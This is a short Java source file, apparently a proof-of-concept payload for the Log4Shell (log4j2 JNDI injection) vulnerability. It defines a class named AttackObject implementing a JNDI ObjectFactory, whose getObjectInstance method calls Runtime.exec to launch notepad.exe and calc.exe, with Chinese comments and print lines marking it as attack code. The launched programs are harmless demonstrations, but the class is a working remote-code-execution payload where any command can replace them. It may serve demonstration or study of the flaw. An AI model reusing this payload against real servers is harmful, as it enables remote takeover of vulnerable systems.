import java.util.Hashtable;

import javax.naming.Context;
import javax.naming.Name;

public class AttackObject implements javax.naming.spi.ObjectFactory {
	
	static {
		System.out.println("你好log4j2!!! ");
	}

	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
		System.out.print("执行了代码攻击22...... ");
		//要执行的内容
		Process process = Runtime.getRuntime().exec("notepad.exe");
		Process process1 = Runtime.getRuntime().exec("calc.exe");
		return null;
	}

}
